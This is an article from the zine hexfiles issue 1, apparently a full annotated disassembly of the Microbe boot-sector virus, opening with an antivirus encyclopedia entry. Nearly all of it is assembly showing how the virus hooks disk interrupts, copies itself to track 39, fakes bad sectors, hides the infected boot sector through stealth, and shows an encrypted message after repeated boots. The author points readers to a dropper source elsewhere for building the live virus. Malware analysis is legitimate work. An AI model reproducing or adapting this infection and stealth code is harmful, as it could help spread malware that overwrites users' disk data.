Copy Link
Add to Bookmark
Report
Disassembly of Microbe
hexfiles issue 1
Now here's what Dr. Solomon ( http://www.drsolomon.com/vircen/enc/ ) has to say about Microbe.
Name
Microbe
Type
Boot sector virus.
Affects
The boot sector of floppy disks and the partition sector of hard disks, when the PC is booted from an infected floppy disk.
Description
The virus contains the text This MICROBE is dedicated to 'Microchips Inc' Cebu City Phil. In appreciation for the quality training it provided us. 02/19/88 MICROMAGIC The virus stores part of itself on cylinder 39, head 1, sectors 2 to 9. This overwrites data on that part of the disk. A counter is incremented each time this happens, and when the count reaches 164 the display is triggered. The screen is cleared and the above message is displayed. Then the PC boots normally.
The virus uses stealth; so any attempt to read the infected boot sector is re-directed to the original, clean boot sector.
Fake bad sectors are created, on the assumption that the disk is a 360Kb floppy disk.
PsK Comment
It looks like we are talking of the same Microbe and not the one supposed to have originated from India (if it really exists). However, Mr. Dr., check your Microbe page again Microbe on hard disk MBR? Microbe does not assume a diskette is 360 kb diskette but checks if it really is 360 kb through the FAT. This is a better method compared to checking the MDB from the BPB.
The following Microbe code could not be compiled as it is. I am presenting it here as a straight disassembly for your information only. If you want to have a copy of the live virus, you need a 5.25" diskette drive, a 360 kb diskette and compile the source code of the Microbe dropper found in another file.
-- MICROBE DISASSEMBLY STARTS ---------------------------------------
;---------------------------------------------------------------
0000 cli ;
0001 jmp 0008 ;
;
;---------------------------------------------------------------
0003 90 ; activate counter
0004 34 12 ; infection marker
0006 25 12 ;
;---------------------------------------------------------------
;
0008 mov ax,cs ; init segments
000a mov ds,ax ;
000c mov ss,ax ;
000e mov sp,f000 ;
0011 sti ;
;---------------------------------------------------------------
0012 mov ax,[0413] ; decrease memory by 4 kb
0015 sub ax,0004 ;
0018 mov [0413],ax ; and...
;-----------------------------------------;
001b mov cl,06 ; convert to segment
001d shl ax,cl ;
001f mov es,ax ;
0021 push es ;
;---------------------------------------------------------------
0022 mov word ptr [01d7],0000 ; set up disk read counters.
0028 mov word ptr [01d9],0008 ; these are offsets located
002e mov byte ptr [01db],02 ; in interrupt table
;---------------------------------------------------------------
0033 mov cx,0004 ;
0036 push cx ;
0037 mov ah,02 ; read 8 sectors starting at
0039 mov al,01 ;
003b mov ch,27 ; track 39
003d mov cl,[01db] ; sector 2
0041 mov dh,01 ; head 1
0043 mov dl,00 ; of drive a:
0045 mov bx,[01d7] ;
0049 int 13 ; reads disk one sector at
004b pop cx ; a time
004c jnb 0056 ;
004e mov ah,00 ;
0050 int 13 ;
0052 loop 0036 ;
;--------------------------------------------
0054 int 18 ; error
;--------------------------------------------
0056 mov bx,[01d7] ; set up read for next sector
005a add bx,0200 ;
005e mov [01d7],bx ;
0062 mov cl,[01db] ;
0066 inc cl ;
0068 mov [01db],cl ;
006c mov cx,[01d9] ;
0070 dec cx ;
0071 mov [01d9],cx ;
0075 cmp cx,+00 ;
0078 jnz 0033 ;
;---------------------------------------------------------------
007a mov ax,es ;
007c mov ds,ax ; read diskette
007e mov cx,0004 ; boot sector
0081 push cx ;
0082 mov ah,02 ;
0084 mov al,01 ;
0086 mov ch,00 ;
0088 mov cl,01 ;
008a mov dh,00 ;
008c mov dl,00 ;
008e mov bx,0e00 ;
0091 int 13 ;
0093 pop cx ;
0094 jnb 009e ;
0096 mov ah,00 ;
0098 int 13 ;
009a loop 0081 ;
;---------------------------------------------------------------
009c int 18 ; error
;---------------------------------------------------------------
009e mov ch,[0e03] ; increment boot counter
00a2 inc ch ; initial value is 90h
00a4 cmp ch,a4 ;
00a7 jg 00cd ; is it the 20th boot
;---------------------------------------------------------------
00a9 mov [0e03],ch ;
00ad mov cx,0004 ; if less,
00b0 push cx ; update boot counter
00b1 mov ah,03 ;
00b3 mov al,01 ;
00b5 mov ch,00 ;
00b7 mov cl,01 ;
00b9 mov dh,00 ;
00bb mov dl,00 ;
00bd mov bx,0e00 ;
00c0 int 13 ;
00c2 pop cx ;
00c3 jnb 00d2 ;
00c5 mov ah,00 ;
00c7 int 13 ;
00c9 loop 00b0 ;
;---------------------------------------------------------------
00cb jmp 00d2 ; write protected
;---------------------------------------------------------------
00cd mov ax,0400 ; relocator to
00d0 push ax ; display message
00d1 retf ;
;---------------------------------------------------------------
00d2 mov ax,045f ; skip message display
00d5 push ax ;
00d6 retf ;
;---------------------------------------------------------------
00d7 db 9 dup (0) ; not used
;
;---------------------------------------------------------------
;---------------------------------------------------------------
;
; instructions from 00e0 to 01ff are not executed and merely
; a copy of preceding instructions
;
; the author probably did this to fill up the sector.
;
;---------------------------------------------------------------
00e0 cli ; this is a copy of
00e1 jmp 0008 ; instructions at 0000 to 009f
00e3 90 ;
00e4 34 12 ;
00e6 25 12 ;
00e8 mov ax,cs ;
00ea mov ds,ax ;
00ec mov ss,ax ;
00ee mov sp,f000 ;
00f1 sti ;
00f2 mov ax,[0413] ;
00f5 sub ax,0004 ;
00f8 mov [0413],ax ;
00fb mov cl,06 ;
00fd shl ax,cl ;
00ff mov es,ax ;
0101 push es ;
0102 mov word ptr [01d7],0000 ;
0108 mov word ptr [01d9],0008 ;
010e mov byte ptr [01db],02 ;
0113 mov cx,0004 ;
0116 push cx ;
0117 mov ah,02 ;
0119 mov al,01 ;
011b mov ch,27 ;
011d mov cl,[01db] ;
0121 mov dh,01 ;
0123 mov dl,00 ;
0125 mov bx,[01d7] ;
0129 int 13 ;
012b pop cx ;
012c jnb 0056 ;
012e mov ah,00 ;
0130 int 13 ;
0132 loop 0036 ;
0134 int 18 ;
0136 mov bx,[01d7] ;
013a add bx,0200 ;
013e mov [01d7],bx ;
0132 mov cl,[01db] ;
0136 inc cl ;
0138 mov [01db],cl ;
013c mov cx,[01d9] ;
0140 dec cx ;
0141 mov [01d9],cx ;
0145 cmp cx,+00 ;
0148 jnz 0033 ;
014a mov ax,es ;
014c mov ds,ax ;
014e mov cx,0004 ;
0151 push cx ;
0152 mov ah,02 ;
0154 mov al,01 ;
0156 mov ch,00 ;
0158 mov cl,01 ;
015a mov dh,00 ;
015c mov dl,00 ;
015e mov bx,0e00 ;
0161 int 13 ;
0163 pop cx ;
0164 jnb 009e ;
0166 mov ah,00 ;
0168 int 13 ;
016a loop 0081 ;
016c int 18 ;
016e db 8e, 2e ;
;-----------------------------------------
0170 db c0 ; this is a copy of
0171 push es ; instructions at 0020 to 009f
0172 mov word ptr [01d7],0000 ;
0178 mov word ptr [01d9],0008 ;
017e mov byte ptr [01db],02 ;
0183 mov cx,0004 ;
0186 push cx ;
0187 mov ah,02 ;
0189 mov al,01 ;
018b mov ch,27 ;
018d mov cl,[01db] ;
0191 mov dh,01 ;
0193 mov dl,00 ;
0195 mov bx,[01d7] ;
0199 int 13 ;
019b pop cx ;
019c jnb 0056 ;
019e mov ah,00 ;
01a0 int 13 ;
01a2 loop 0036 ;
01a4 int 18 ;
01a6 mov bx,[01d7] ;
01aa add bx,0200 ;
01ae mov [01d7],bx ;
01b2 mov cl,[01db] ;
01b6 inc cl ;
01b8 mov [01db],cl ;
01bc mov cx,[01d9] ;
01c0 dec cx ;
01c1 mov [01d9],cx ;
01c5 cmp cx,+00 ;
01c8 jnz 0033 ;
01ca mov ax,es ;
01cc mov ds,ax ;
01ce mov cx,0004 ;
01d1 push cx ;
01d2 mov ah,02 ;
01d4 mov al,01 ;
01d6 mov ch,00 ;
01d8 mov cl,01 ;
01da mov dh,00 ;
01dc mov dl,00 ;
01de mov bx,0e00 ;
01f1 int 13 ;
01f3 pop cx ;
01f4 jnb 009e ;
01f6 mov ah,00 ;
01f8 int 13 ;
01fa loop 0081 ;
01fc int 18 ;
01fe db 8e, 2e ;
;---------------------------------------------------------------
;---------------------------------------------------------------
;
0200 dw 200 dup (?) ;saved original boot sector
;
;---------------------------------------------------------------
;---------------------------------------------------------------
; display
;
; ⁄---------------------------------------ø
; ≥ This MICROBE is dedicated to ≥
; ≥ 'Microchips Inc.', Cebu City, Phil. ≥
; ≥ in appreciation for the quality ≥
; ≥ training it provided us. ≥
; ≥ ≥
; ≥ 02/19/88 MICROMAGIC ˛ ≥
; ¿---------------------------------------Ÿ
;
;
;---------------------------------------------------------------
0400 mov ah,06 ; clear screen
0402 mov al,18 ;
0404 mov bh,07 ;
0406 mov ch,00 ;
0408 mov cl,00 ;
040a mov dh,18 ;
040c mov dl,4f ;
040e int 10 ; move cursor to
0410 mov ah,02 ; row 0 column 0
0412 mov bh,00 ;
0414 mov dh,00 ;
0416 mov dl,00 ;
0418 int 10 ;
041a mov bx,0a00 ; offset of message
041d mov cx,0008 ; number of rows
0420 push cx ;
0421 mov cx,0029 ; number of columns
0424 push cx ;
0425 push bx ;
0426 mov cl,04 ;
0428 mov al,[bx] ; get character
042a rol al,cl ; and decrypt
042c mov ah,09 ;
042e mov bh,00 ; display character
0430 mov bl,70 ;
0432 mov cx,0001 ;
0435 int 10 ;
0437 mov ah,03 ; get cursor position
0439 mov bh,00 ;
043b int 10 ;
043d inc dl ;
043f mov ah,02 ; and move it
0441 mov bh,00 ;
0443 int 10 ;
0445 pop bx ;
0446 pop cx ;
0447 inc bx ;
0448 loop 0424 ; do for the rest of the row
044a push bx ;
044b mov ah,03 ;
044d mov bh,00 ;
044f int 10 ;
0451 inc dh ;
0453 mov ah,02 ; do the next row
0455 mov bh,00 ;
0457 mov dl,00 ;
0459 int 10 ;
045b pop bx ;
045c pop cx ;
045d loop 0420 ;
;---------------------------------------------------------------
045f xor ax,ax ; read original diskette
0461 mov ds,ax ; boot sector to 0:7c00
0463 mov es,ax ;
0465 mov cx,0004 ;
0468 push cx ;
0469 mov ah,02 ;
046b mov al,01 ;
046d mov ch,27 ;
046f mov cl,03 ;
0471 mov dh,01 ;
0473 mov dl,00 ;
0475 mov bx,7c00 ;
0478 int 13 ;
047a pop cx ;
047b jnb 0485 ;
047d mov ah,00 ;
047f int 13 ;
0481 loop 0468 ;
0483 int 18 ;
;---------------------------------------------------------------
0485 mov ax,[004c] ; save int 13h vector
0488 mov [01fc],ax ; and hook int 7fh
048b mov ax,[004e] ;
048e mov [01fe],ax ; reset int 13h to
0491 mov ax,04a1 ; cs:4a1h
0494 mov [004c],ax ;
0497 mov ax,cs ;
0499 mov [004e],ax ;
;---------------------------------------------------------------
049c jmp 0000:7c00 ; execute original
; boot sector
;---------------------------------------------------------------
;
; interrupt 13h handler
;---------------------------------------------------------------
04a1 sti ;
04a2 push ax ; save registers
04a3 push bx ;
04a4 push cx ;
04a5 push dx ;
04a6 push ds ;
04a7 push es ;
04a8 push ax ;
04a9 mov ax,cs ;
04ab mov ds,ax ;
04ad mov es,ax ;
04af pop ax ;
04b0 mov [06ca],ch ; save track
04b4 mov [06cb],cl ; save starting sector
04b8 mov [06cc],dh ; save head
;---------------------------------------------------------------
04bc cmp dl,02 ; check drive. floppies only.
04bf jbe 04c4 ;
04c1 jmp 0636 ;
04c4 cmp ah,02 ; read?
04c7 jz 04d1 ;
04c9 cmp ah,03 ; write?
04cc jz 04d1 ;
04ce jmp 0636 ;
04d1 mov cx,0004 ;
04d4 push cx ;
;---------------------------------------------------------------
04d5 mov ah,02 ; read boot sector
04d7 mov al,01 ;
04d9 mov ch,00 ;
04db mov cl,01 ;
04dd mov dh,00 ;
04df mov bx,0e00 ;
04e2 int 7f ;
04e4 pop cx ;
04e5 jnb 04f0 ;
04e7 mov ah,00 ;
04e9 int 7f ;
04eb loop 04d4 ;
;---------------------------------------------------------------
04ed jmp 0636 ; exit on error
;---------------------------------------------------------------
04f0 cmp word ptr [0e04],1234 ; already infected
04f6 jnz 04fb ;
04f8 jmp 065a ; yes, then verify
;---------------------------------------------------------------
04fb mov cx,0004 ; read first sector
04fe push cx ; of first copy of fat
04ff mov ah,02 ; to check diskette type
0501 mov al,01 ;
0503 mov ch,00 ;
0505 mov cl,02 ;
0507 mov bx,0e00 ;
050a int 7f ;
050c pop cx ;
050d jnb 0518 ;
050f mov ah,00 ;
0511 int 7f ;
0513 loop 04fe ;
0515 jmp 0636 ;
;---------------------------------------------------------------
0518 cmp byte ptr [0e00],fd ; is it a 360 kb diskette
051d jz 0522 ;
051f jmp 0636 ; no, then exit
;---------------------------------------------------------------
0522 mov cx,0004 ; read second sector
0525 push cx ; of fat for marking
0526 mov ah,02 ; bad clusters
0528 mov al,01 ;
052a mov ch,00 ;
052c mov cl,03 ;
052e mov dh,00 ;
0530 mov bx,0e00 ;
0533 int 7f ;
0535 pop cx ;
0536 jnb 0541 ;
0538 mov ah,00 ;
053a int 7f ;
053c loop 0525 ;
;---------------------------------------------------------------
053e jmp 0636 ;
;---------------------------------------------------------------
0541 mov word ptr [0e10],7ff7 ; mark clusters 20 - 24
0547 mov word ptr [0e12],f7ff ; as bad clusters
054d mov word ptr [0e14],ff7f ;
;---------------------------------------------------------------
0553 mov cx,0004 ; write modified fat
0556 push cx ;
0557 mov ah,03 ;
0559 mov al,01 ;
055b mov ch,00 ;
055d mov cl,03 ;
055f mov dh,00 ;
0561 mov bx,0e00 ;
0564 int 7f ;
0566 pop cx ;
0567 jnb 0572 ;
0569 mov ah,00 ;
056b int 7f ;
056d loop 0556 ;
056f jmp 0636 ;
;---------------------------------------------------------------
0572 mov cx,0004 ; read boot sector
0575 push cx ;
0576 mov ah,02 ;
0578 mov al,01 ;
057a mov ch,00 ;
057c mov cl,01 ;
057e mov dh,00 ;
0580 mov bx,0e00 ;
0583 int 7f ;
0585 pop cx ;
0586 jnb 058e ;
0588 mov ah,00 ;
058a int 7f ;
058c loop 0575 ;
;------------------------------------------ and...
058e mov cx,0004 ;
0591 push cx ;
0592 mov ah,03 ; save it to
0594 mov al,01 ;
0596 mov ch,27 ; track 39
0598 mov cl,03 ; sector 3
059a mov dh,01 ; head 1
059c mov bx,0e00 ;
059f int 7f ;
05a1 pop cx ;
05a2 jnb 05aa ;
05a4 mov ah,00 ;
05a6 int 7f ;
05a8 loop 0591 ;
;---------------------------------------------------------------
05aa mov cx,0004 ; write virus boot sector
05ad push cx ;
05ae mov ah,03 ;
05b0 mov al,01 ;
05b2 mov ch,00 ;
05b4 mov cl,01 ;
05b6 mov dh,00 ;
05b8 mov bx,0000 ;
05bb int 7f ;
05bd pop cx ;
05be jnb 05c6 ;
05c0 mov ah,00 ;
05c2 int 7f ;
05c4 loop 05ad ;
;---------------------------------------------------------------
05c6 mov cx,0004 ; save rest of virus code
05c9 push cx ;
05ca mov ah,03 ; .... starting at:
05cc mov al,01 ;
05ce mov ch,27 ; track 39
05d0 mov cl,02 ; sector 2
05d2 mov dh,01 ; head 1
05d4 mov bx,0000 ;
05d7 int 7f ;
05d9 pop cx ;
05da jnb 05e2 ;
05dc mov ah,00 ;
05de int 7f ;
05e0 loop 05c9 ;
05e2 mov cx,0004 ;
05e5 push cx ; and the next to:
05e6 mov ah,03 ;
05e8 mov al,01 ;
05ea mov ch,27 ; track 39
05ec mov cl,04 ; sector 4
05ee mov dh,01 ; head 1
05f0 mov bx,0400 ;
05f3 int 7f ;
05f5 pop cx ;
05f6 jnb 05fe ;
05f8 mov ah,00 ;
05fa int 7f ;
05fc loop 05e5 ;
05fe mov cx,0004 ;
0601 push cx ; and another sector to:
0602 mov ah,03 ;
0604 mov al,01 ;
0606 mov ch,27 ; track 39
0608 mov cl,05 ; sector 5
060a mov dh,01 ; head 1
060c mov bx,0600 ;
060f int 7f ;
0611 pop cx ;
0612 jnb 061a ;
0614 mov ah,00 ;
0616 int 7f ;
0618 loop 0601 ;
061a mov cx,0004 ;
061d push cx ;
061e mov ah,03 ; and lastly to:
0620 mov al,01 ;
0622 mov ch,27 ; track 39
0624 mov cl,07 ; sector 7
0626 mov dh,01 ; head 1
0628 mov bx,0a00 ;
062b int 7f ;
062d pop cx ;
062e jnb 0636 ;
0630 mov ah,00 ;
0632 int 7f ;
0634 loop 061d ;
;---------------------------------------------------------------
0636 mov ah,00 ; reset and restore
0638 int 7f ; registers
063a pop es ;
063b pop ds ;
063c pop dx ;
063d pop cx ;
063e pop bx ;
063f pop ax ;
0640 int 7f ; execute function requested
0642 retf 0002 ; return to caller program
;---------------------------------------------------------------
;---------------------------------------------------------------
0645 mov ah,00 ; reset and restore
0647 int 7f ; registers
0649 pop es ;
064a pop ds ;
064b pop dx ;
064c pop cx ;
064d pop bx ;
064e pop ax ;
;-----------------------------------------
064f mov ch,27 ; alter sector pointer
0651 mov cl,03 ; to saved boot sector
0653 mov dh,01 ; == stealth
0655 int 7f ;
0657 retf 0002 ; return to caller program
;---------------------------------------------------------------
;infection marker found!
;------------------------------------------
065a cmp byte ptr [06ca],00 ; is it
065f jnz 0671 ;
0661 cmp byte ptr [06cb],01 ; track 0 head 0 sector 1
0666 jnz 0671 ;
0668 cmp byte ptr [06cc],00 ; = boot sector
066d jnz 0671 ;
066f jmp 0645 ; if yes, then stealth it!
;---------------------------------------------------------------
;---------------------------------------------------------------
0671 cmp word ptr [0e06],1225 ; is this verify infection???
0677 jz 0636 ;
;---------------------------------------------------------------
; ** i don't know what this virus is. this is an old virus like **
; ** microbe. **
;---------------------------------------------------------------
0679 cmp word ptr [0e01],4ae9 ; what virus is this?
067f jz 0684 ;
0681 jmp 04fb ; ?? e9 4a ?? 34 12
;---------------------------------------------------------------
0684 mov cx,0004 ;
0687 push cx ; steal the boot
0688 mov ah,02 ; sector saved by
068a mov al,01 ; this virus
068c mov ch,[0e08] ;
0690 mov cl,[0e07] ;
0694 mov dh,[0e06] ;
0698 mov bx,0c00 ;
069b int 7f ;
069d pop cx ;
069e jnb 06a8 ;
06a0 mov ah,00 ;
06a2 int 7f ;
06a4 loop 0687 ;
06a6 jmp 0636 ;
;-----------------------------------------
06a8 mov cx,0004 ; and restore it to disk
06ab push cx ;
06ac mov ah,03 ;
06ae mov al,01 ;
06b0 mov ch,00 ;
06b2 mov cl,01 ;
06b4 mov dh,00 ;
06b6 mov bx,0c00 ;
06b9 int 7f ;
06bb pop cx ;
06bc jnb 06c7 ;
06be mov ah,00 ;
06c0 int 7f ;
06c2 loop 06ab ;
06c4 jmp 0636 ;
;------------------------------------------
06c7 jmp 04fb ; then try to infect it
;---------------------------------------------------------------
; ....... data ........
;---------------------------------------------------------------
; saved registers at call
06ca ; track (ch)
06cb ; sector (cl)
06cc ; head (dh)
;---------------------------------------------------------------
06ce 132 dup (0) ; unused
;---------------------------------------------------------------
0800 200 dup (?) ; unused, sector not used
;---------------------------------------------------------------
; encrypted virus message. see above for text
;---------------------------------------------------------------
;
0a00 db ad,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0a10 db 4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0a20 db 4c,4c,4c,4c,4c,4c,4c,4c,fb,3b,ff,ff,45,86,96,37
0a30 db ff,ff,ff,d4,94,34,25,f4,24,54,ff,ff,ff,96,37,ff
0a40 db ff,46,56,46,96,36,16,47,56,46,ff,ff,ff,47,f6,ff
0a50 db ff,3b,3b,ff,ff,72,d4,96,36,27,f6,36,86,96,07,37
0a60 db ff,94,e6,36,e2,72,c2,ff,34,56,26,57,ff,34,96,47
0a70 db 97,c2,ff,05,86,96,c6,e2,ff,ff,3b,3b,ff,ff,94,e6
0a80 db ff,ff,16,07,07,27,56,36,96,16,47,96,f6,e6,ff,ff
0a90 db 66,f6,27,ff,ff,47,86,56,ff,ff,17,57,16,c6,96,47
0aa0 db 97,ff,ff,3b,3b,ff,ff,47,27,16,96,e6,96,e6,76,ff
0ab0 db 96,47,ff,07,27,f6,67,96,46,56,46,ff,57,37,e2,ff
0ac0 db ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,3b,3b,ff,ff
0ad0 db ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff
0ae0 db ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff
0af0 db ff,ff,ff,ff,ff,3b,3b,ff,ff,03,23,f2,13,93,f2,83
0b00 db 83,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ef,ff
0b10 db d4,94,34,25,f4,d4,14,74,94,34,ff,ef,ff,ff,3b,0c
0b20 db 4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0b30 db 4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0b40 db 4c,4c,4c,4c,4c,4c,4c,9d,ad,4c,4c,4c,4c,4c,4c,4c
0b50 db 4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0b60 db 4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c,4c
0b70 db fb,3b,ff,ff,45,86,96,37,ff,ff,ff,d4,94,34,25,f4
0b80 db 24,54,ff,ff,ff,96,37,ff,ff,46,56,46,96,36,16,47
0b90 db 56,46,ff,ff,ff,47,f6,ff,ff,3b,3b,ff,ff,72,d4,96
0ba0 db 36,27,f6,36,86,96,07,37,ff,94,e6,36,e2,72,c2,ff
0bb0 db 34,56,26,57,ff,34,96,47,97,c2,ff,05,86,96,c6,e2
0bc0 db ff,ff,3b,3b,ff,ff,94,e6,ff,ff,16,07,07,27,56,36
0bd0 db 96,16,47,96,f6,e6,ff,ff,66,f6,27,ff,ff,47,86,56
0be0 db ff,ff,17,57,16,c6,96,47,97,ff,ff,3b,3b,ff,ff,47
0bf0 db 27,16,96,e6,96,e6,76,ff,96,47,ff,07,27,f6,67,96
;
;---------------------------------------------------------------
0c00 200 dup (?) ; read/write buffer
0e00 200 dup (?) ; read/write buffer
;---------------------------------------------------------------
-- MICROBE DISASSEMBLY ENDS -----------------------------------------
